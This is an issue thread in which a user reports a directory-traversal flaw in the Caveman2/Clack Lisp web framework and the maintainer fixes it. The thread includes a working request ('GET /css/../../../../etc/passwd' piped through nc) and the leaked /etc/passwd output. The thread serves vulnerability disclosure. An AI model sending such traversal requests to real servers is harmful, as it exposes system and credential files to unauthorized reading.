Unrestricted filesystem access from outside

[geomaster]

First, I am a Common Lisp newbie (just writing my first program in it ever!) so I'm not quite familiar with the ecosystem and have no idea if this is an issue with Caveman2 itself. I suppose it's not and it has something to do with Clack or even the underlying server (I have tested and this issue is present with both Wookie and Hunchentoot, FCGI doesn't work for me for some reason), but regardless of that I think that Caveman2 should be patched to disallow this behavior, at least by default. Let me demonstrate:

First, create a Caveman2 skeleton project and start it:

$ mkdir ~/path/to/project
$ ccl
? (ql:quickload :caveman2)

    [quicklisp output...]

? (caveman2:make-project #P"~/path/to/project")

    [caveman2 output...]

? (quit)
$ cd ~/path/to/project
$ shly start --port 8080 --server :hunchentoot

Now, send a malicious HTTP request:

$ recode latin1..dos | nc localhost 8080
GET /css/../../../../../../../../etc/passwd HTTP/1.1
Host: localhost

^D
HTTP/1.1 200 OK
Date: Sun, 14 Sep 2014 00:06:14 GMT
Server: Hunchentoot 1.2.27
Accept-Ranges: bytes
Content-Length: 1171
Last-Modified: Sat, 06 Sep 2014 18:26:58 GMT
Content-Type: text/plain;charset=utf-8

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
...

As you can see, using the default Caveman2 configuration, I was able to see the contents of /etc/passwd on my filesystem. If an issue needs to be opened with some upstream project, I'll be happy to.

Btw, I was really happy to find Caveman2 and I think it's a great project—kudos to all the developers who made this possible. I apologize if this is a feature and not a bug, but I strongly feel that this should not be default behavior.

[fukamachi]

OH MY GOD! This must be a serious security bug of Clack. I'm fixing it right now.

Unfortunately, it won't be in time for Quicklisp September update. Use a reverse proxy for serving static files or the latest Clack until the next update.

Anyway, I appreciate your finding and reporting this.

[fukamachi]

Okay, has fixed now, I'm closing this. Feel free to reopen this if you still have some problems.

[geomaster]

Thanks for the prompt fix! I didn't realize you were the mastermind behind Clack as well. The CL community would have surely have had it very hard if you weren't around to develop all these stuff. Very impressive. :) Anyways, this wasn't that big of an issue because I was using Caveman2/Clack for a 127.0.0.1 server, but it still doesn't hurt to have it fixed. Thanks again, and keep it up the good work!